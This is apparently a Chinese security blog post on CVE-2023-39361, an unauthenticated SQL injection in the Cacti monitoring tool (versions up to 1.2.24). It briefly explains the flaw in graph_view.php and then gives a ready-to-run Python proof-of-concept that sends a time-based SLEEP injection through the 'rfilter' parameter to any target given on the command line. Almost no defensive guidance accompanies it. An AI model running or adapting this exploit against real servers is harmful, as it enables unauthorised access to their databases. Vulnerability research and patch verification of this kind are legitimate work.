Cacti 未经身份验证SQL注入漏洞

0x00 前言

Cacti是一套基于PHP,MySQL,SNMP及RRDTool开发的网络流量监测图形分析工具。

Cacti是通过 snmpget来获取数据,使用 RRDtool绘画图形,而且你完全可以不需要了解RRDtool复杂的参数。

0x01 漏洞描述

漏洞存在于从graph_view.php文件调用的growt_right_pane_tree函数中。

在tree_content的情况下,通过html_validate_tree_vars函数验证用户输入,随后,如果tree_id参数大于0,则调用growt_right_pane_tree函数。

0x02 CVE编号

CVE-2023-39361

0x03 影响版本

Cacti<=1.2.24

0x04 测试POC

代码语言:javascript

代码运行次数:0

运行

AI代码解释

复制代码
import argparse
import requests
import sys
import urllib3


#import os
#os.environ['http_proxy'] = 'http://localhost:8080'


sleep_time = 10
payload = f""""OR ""="(("));SELECT SLEEP({sleep_time});-- -"""


def exploit():
    url = f"{target}/graph_view.php"


    params = {
        "action":"tree_content",
        "node":"1-1-tree_anchor",
        "rfilter":payload
    }


    print('[+] Sending payload...')
    print(f"[+] Payload: {payload}")
    session.get(url,params=params)
    
if __name__=='__main__':
    urllib3.disable_warnings()
    parser = argparse.ArgumentParser(description="Cacti 1.2.24 - graph_view.php 'rfilter' SQL Injection (guest access)")
    parser.add_argument('-t','--target',help='',required=True)
    args = parser.parse_args()
    
    target = args.target
    session = requests.Session()


    exploit()
相关推荐
迷枫7122 分钟前
SQL 优化记录:OR 条件改写后利用现有联合索引
sql
祢真伟大4 分钟前
Oracle含LOB大字段表的存储占用统计
数据库·oracle
Inhand-Victor21 分钟前
从 CAN 总线到 AWS IoT:EC312 边缘计算网关实现 CAN 数据云端接入
数据库
mmsx29 分钟前
osmdroid 地图实战 03|谷歌影像的 URL,为什么不能 setTileSource 了事?
android
活跃的煤矿打工人36 分钟前
【星海出品】SQLite的进阶操作
数据库·sqlite
hai_android38 分钟前
Kotlin 协程上下文(CoroutineContext)深度解析
android
云祺vinchin42 分钟前
医疗行业灾备实践:一套方案实现HIS、EMR、PACS系统安全闭环
数据库·安全·数据备份·医疗安全·容灾备份
梦想不只是梦与想1 小时前
MySQL 中的窗口函数
数据库·mysql·窗口函数
恋猫de小郭1 小时前
Flutter A2UI 深度解析,它是怎么提供动态生产力的,然后为什么 A2UI 不只是 Flutter
android·前端·flutter